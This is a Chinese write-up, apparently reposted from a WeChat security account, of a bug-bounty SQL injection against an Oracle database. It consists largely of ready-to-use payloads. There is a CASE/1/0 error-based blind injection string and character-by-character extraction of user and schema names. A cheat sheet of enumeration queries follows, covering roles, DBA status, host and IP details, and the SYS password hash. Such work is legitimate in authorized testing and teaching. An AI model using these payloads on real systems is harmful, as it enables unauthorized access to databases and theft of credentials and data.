全过程
尝试使用Oracle中的连接符去构造报错,但是依然返回正常
一些报错函数也不会报错
最终经过测试,利用下面语句可以进行盲注
1'AND 1=(case when 1=1 then 1 else 1/0 end) OR 'a'='b
这里前面必须有个1,如果什么也没有或者为负数的话那么and左边为false将会直接返回false,就不会执行case when函数
判断user第一位
1'AND 1=(case when 1=substr(user,1,1) then 1 else 1/0 end) OR 'a'='b
注数据库名和表名,以下是基本的语句
当前用户权限:select from session_roles where rownum=1 //rownum=1 限制查询返回的总行数为一条
获取数据库名:select owner from all_tables where rownum=1
依次爆出所有数据库名,假设第一个库名为root,那第二个库为
select owner from all_tables where rownum=1 and owner<>'root' //后面代表不显示第一个库名
select owner from all_tables where rownum=1 and not in 'root' //not in 也是一个意思
获取表名:select table_name from user_tables where rownum=1,依次爆出所有表类似暴库
获取字段名:select column_name from user_tab_columns where table_name='tablename' and rownum=1
所以注第一个库名第一个字符如下语句
1'AND 1=(case when 1=substr((select owner from all_tables where rownum=1),1,1) then 1 else 1/0 end) OR 'a'='b
第一位为S,剩下同理
注第二个库名的第一位字符,为O
注表名字段都是一个道理
当前用户:select sys_context('userenv','current_user') from dual
当前用户权限:select * from session_roles where rownum=1
操作系统用户名:select sys_context('userenv','os_user') from dual
SYS用户Hash值:select password from dba_users where username='SYS'
SYS用户Hash值:select password from SYS.USER$ where name='SYS'
判断当前权限是否为DBA:select t.DEFAULT_ROLE from user_role_privs t where t.granted_role='DBA'
当前数据库:select sys_context('userenv','db_name') from dual
数据文件:select name from v$datafile where rownum=1
当前数据库版本:select banner from sys.v_$version where rownum=1
主机名:select sys_context('userenv','host') from dual
主机IP:select sys_context('userenv','ip_address') from dual
是否DBA:select sys_context('userenv','isdba') from dual
服务器监听IP:select utl_inaddr.get_host_address from dual
服务器操作系统:select member from v$logfile where rownum=1
查看用户的java权限(用户名必须大写):select * from user_java_policy where grantee_name='SYS'
原文始发于微信公众号(起凡安全):某SRC中的Oracle数据库sql注入-从判断到注表
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论